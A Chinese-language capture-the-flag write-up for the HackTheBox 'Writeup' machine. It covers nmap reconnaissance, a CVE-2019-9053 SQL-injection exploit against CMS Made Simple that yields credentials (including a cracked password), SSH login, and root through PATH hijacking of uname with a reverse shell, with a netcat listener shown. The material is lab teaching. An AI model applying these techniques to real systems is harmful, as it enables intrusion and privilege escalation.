简介:
CMS Made Simple(CMSMS)是一个开源的内容管理系统,它为开发者、程序员、网站所有者提供了一个网页版的开发和管理界面。[1]它获得了Packt Publishing评选出的2010年最佳开源内容管理系统年度奖。其它类似的内容管理系统还有Drupal, WordPress,eZ Publish和Joomla!。
CMSMS曾出现过SQL注入、文件上传、RCE、本地文件包含、本地文件读取、XSS等CVE漏洞, 该靶机利用CVE-2019-9053爆破用户名、密码哈希、邮箱、密码salt; 通过somd5爆破密码哈希值, 通过ssh登陆获取user.txt; 通过pspy监听后台进程, 当有用户登陆时, 会设置bash环境变量, 调用uname指令输出当前机器的内核信息; 根据环境变量的调用顺序可以劫持uname指令, 实现提权。
文章目录
- cmsms
- path
- 卡点
cmsms
nmap
nmap扫端口, 发现80端口WEB服务和22端口。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18nmap -sC -sV -oA nmap/Writeup 10.10.10.138
# Nmap 7.70 scan initiated Wed Jun 19 23:09:11 2019 as: nmap -sC -sV -oA nmap/Writeup 10.10.10.138
Nmap scan report for 10.10.10.138
Host is up (0.61s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
| 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_ 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Nothing here yet.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jun 19 23:11:06 2019 -- 1 IP address (1 host up) scanned in 114.34 seconds
cve
访问80端口, 从robots.txt中找到writeup目录, 根据页面源码或wappalyzer查到页面使用CMS Made Simple, 通过exploit-db查看历史CVE及exp的详情找到/writeup/admin
目录, 访问之后弹出登陆框; 最后通过CVE-2019-9053爆破处对应的凭证
tips: 直接用exp爆破可能会出现Salt、Username、Email、Password每次都不一样的情况, 这是因为exp使用sql的延时注入判断字符是否正确, 默认时间为1s, 如果网络状况不好, 则可能会导致判断错误, 验证方法: 多跑几遍exp, 如果结果不一致说明时间设置过短, 调大exp中时间字段即可。1
2
3
4
5
6cmsms:
[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7
[+] somd5 crack: raykayjay9
通过爆破出来的凭证登陆ssh, 读取user.txt.
path
下载pspy64, 以jkr用户运行监听机器的资源pspy64
, 然后开启一个新的ssh登陆窗口, 发现如下进程调用情况:1
2
3
4
52019/06/20 07:13:30 CMD: UID=0 PID=20945 | sshd: jkr [priv]
2019/06/20 07:13:30 CMD: UID=0 PID=20946 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
2019/06/20 07:13:30 CMD: UID=0 PID=20947 | run-parts --lsbsysinit /etc/update-motd.d
2019/06/20 07:13:30 CMD: UID=0 PID=20948 | /bin/sh /etc/update-motd.d/10-uname
2019/06/20 07:13:30 CMD: UID=0 PID=20949 | uname -asom
上述命令中, 设置的环境变量顺序为:/usr/local/sbin
、/usr/local/bin
、/usr/sbin
、/usr/bin
…. uname命令通过相对路径访问, 会通过上述的环境变量顺序查找uname命令;
通过find / -writable -type d 2>/dev/null查找当前用户可写目录, 发现/usr/local/bin目录可写, 搜索uname命令后发现命令位于/usr/sbin目录中, 因此可以通过在/usr/local/bin目录中写入uname反弹shell命令, 可获取root权限。
1 | # nc -lv 4444 |
卡点
exp的寻找与使用
查看CMS Made Simple的历史cve后, 发现其exp大部分需要登陆, 因此有爆破admin页面的账号和寻找不需要登陆的exp; 刚开始一致才尝试用需要登陆的各种RCE尝试, 猜测弱密码, 都无果后, 开始使用sql注入exp, 第一次使用时, 脚本出错, 本能的怀疑了一波是否不是正确的exp, 然后看论坛说要看exp脚本, 理解其原理, 于是又重新试了一下exp并开始读exp源码, 最后手工验证发现其中的uri存在且不需要认证, 修正代码为py3格式后, 在另一个环境中跑, 拿到了数据, 但是数据很不正确, email居然是@h, 多次运行之后发现结果不一致, 于是修改time变量的值为2, 继续爆破后拿到jkr的凭证
PATH Hacking && Hijacking
用pspy64监控主机进程后, 发现存在不定时的任务, 经过测试和猜测, 计划任务的作用大致是:当出现扫描攻击时, 启动fail2ban-server调用iptables进行屏蔽IP,一段时间后将执行/root/bin/cleanup.pl清除屏蔽的IP; 于是把注意力放在了上面出现的三个程序上, 查命令确定是否存在劫持、文件修改等的可能性,尝试之后发现iptables存在劫持的可能性, 于是编写劫持的iptables程序, 结果无法生效(不知道这里是否可行, 但个人尝试未成功); 于是继续查看pspy64的结果, 发现用户登陆系统时, 会设置环境变量并调用uname程序打印机器信息, 搜索发现uname可被劫持, 于是get root